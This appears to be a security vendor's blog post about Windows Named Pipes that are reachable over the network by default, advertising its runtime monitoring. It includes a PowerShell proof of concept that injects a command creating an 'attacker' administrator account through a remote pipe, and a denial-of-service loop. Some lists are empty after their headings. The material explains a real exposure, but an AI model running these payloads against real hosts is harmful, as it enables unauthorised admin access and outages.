At Spektion, our continuous monitoring of software behavior across thousands of products in enterprise environments has revealed a concerning pattern: remotely accessible Named Pipes are far more prevalent than most security teams realize.

At Spektion, our continuous monitoring of software behavior across thousands of products in enterprise environments has revealed a concerning pattern: remotely accessible Named Pipes are far more prevalent than most security teams realize. Our runtime evidence shows this hidden attack surface in numerous commercial products. It creates a security risk that traditional tools miss entirely, and it is only sometimes captured in a CVE, which leaves organizations exposed to an exploitable vulnerability.
Named Pipes are a Windows IPC (Inter-Process Communication) mechanism that allows processes to communicate across local or network boundaries. They’re implemented with a familiar file-like interface, making them convenient for developers, but this convenience comes with risk. Most critically, Named Pipes are remotely accessible by default when the Windows “server” service is running.
Unix-like systems (macOS, Linux) also have “named pipes” created with mkfifo, but these operate differently from Windows Named Pipes. Unix pipes are strictly local to the system and aren’t network-accessible. Windows developers who come from those environments might not fully appreciate the distinction.
The typical Windows Named Pipe creation pattern looks something like this:
HANDLE hPipe = CreateNamedPipeW(
"\\\\.\\pipe\\MyPipeName", // pipe name
PIPE_ACCESS_DUPLEX, // read/write access
PIPE_TYPE_MESSAGE | // message-type pipe
PIPE_READMODE_MESSAGE | // message-read mode
PIPE_WAIT, // blocking mode
PIPE_UNLIMITED_INSTANCES, // unlimited instances
BUFFER_SIZE, // output buffer size
BUFFER_SIZE, // input buffer size
0, // client time-out
NULL); // default security attributesNotice anything concerning? The default security descriptor grants read access to Everyone and to the anonymous account, and the pipe accepts remote clients unless the developer rejects them. The pipe becomes accessible over the network to anyone who can reach your system.
The key issue isn’t that Named Pipes are inherently vulnerable, but rather that developers often create them with a false sense of security. Many developers assume that Named Pipes operate within a trusted security boundary (the local system), when in fact they’re exposed to network access by default.
This misconception leads to:
When software reads data from remotely accessible Named Pipes without these considerations, it introduces potential vulnerabilities that can lead to:
Let’s look at a simple attack scenario. Imagine a service running as SYSTEM (as many do) that creates a Named Pipe and processes commands from it:
# Attack proof-of-concept
# First, discover potentially vulnerable pipes
$pipes = '\\target-machine\pipe\*'
Get-ChildItem $pipes | Select-Object Name
# Next, connect to a vulnerable pipe and send malicious payload
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream("target-machine", "VulnerablePipe", System.IO.Pipes.PipeDirection.InOut)
$pipe.Connect(1000)
$writer = New-Object System.IO.StreamWriter($pipe)
$writer.WriteLine('{"cmd":"exec", "payload":"net user attacker P@ssw0rd /add & net localgroup administrators attacker /add"}')
$writer.Flush()In this scenario, a remote attacker discovers an exposed pipe, connects to it, and injects a command that creates a new administrative user. Because the service processes these commands with SYSTEM privileges, the attack succeeds without requiring initial access to the target system.
Even if the application has robust input validation for command injection, it might still be vulnerable to resource exhaustion:
# DoS attack via resource exhaustion
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream("target-machine", "VulnerablePipe", System.IO.Pipes.PipeDirection.InOut)
$pipe.Connect(1000)
$writer = New-Object System.IO.StreamWriter($pipe)
# Generate massive amounts of data to exhaust server resources
$largeData = "A" * 1000000
while($true) {
$writer.WriteLine($largeData)
$writer.Flush()This attack could potentially cause the service to crash or become unresponsive by overwhelming its memory allocation or processing capacity.
This isn’t just theoretical. CVEs published between 2020 and 2024 show the pattern in shipping software:
The pattern keeps showing up. Since this post was published, Spektion’s runtime evidence has found it three more times in shipping software. Adobe Genuine Service creates named pipes that grant Everyone write access and accept remote clients, with one of them served by a process running as SYSTEM, and Adobe published it as CVE-2026-71381, a local 4.0. Citrix Workspace app for Windows created an externally reachable, bidirectional pipe with Everyone write access and accepted input without checking who was calling, and no CVE came out of it. WinRAR creates a remotely accessible pipe named winrar_pipe_*, with no CVE attached.
By April 2025, Spektion’s runtime evidence had identified numerous categories of commercial applications that expose Named Pipes without proper authentication, including:
Traditional vulnerability scanners and security tools often miss these issues for several reasons:
Spektion’s shift-left approach fundamentally changes how we identify these risks before they become exploitable vulnerabilities. Rather than waiting for vulnerability disclosures or conducting point-in-time assessments, our continuous runtime monitoring:
Our proactive approach not only identifies vulnerable software but provides security teams with the context they need to prioritize remediation efforts based on real risk rather than theoretical vulnerabilities.
For security teams using Spektion, our platform automatically identifies applications that create remotely accessible Named Pipes, providing immediate visibility into this often-overlooked attack surface. If your organization develops software internally, we recommend providing your development teams with secure coding guidelines that include:
For security teams without runtime monitoring capabilities, this risk presents a significant blind spot that’s difficult to address with traditional tools.
Named Pipes represent a perfect example of how runtime monitoring identifies risks that traditional approaches can’t see. By shifting security left and continuously evaluating software behavior, Spektion gives security teams a way to identify and remediate these hidden threats before they become the next in-the-wild exploit.
Security teams need visibility into IPC surfaces like Named Pipes, and traditional vulnerability management cannot deliver it. Most security tools focus on known CVEs and signature-based detection. Spektion’s runtime monitoring adds the missing layer: it identifies actual risk exposure from live systems. That layer complements an existing security stack, and it changes how teams prioritize remediation by focusing on the actual attack surface rather than theoretical vulnerabilities. With Spektion, security teams move from reactive firefighting to proactive risk management and shorten their exposure windows.
The next time you evaluate your organization’s attack surface, consider whether you have visibility into the Named Pipes your software is creating. Some of those pipes might be exposing your most sensitive systems to remote attackers because of a misunderstood security boundary.
Many exploitable vulnerabilities never get a CVE. Book a demo to see how Spektion finds what's actually exploitable across your endpoints.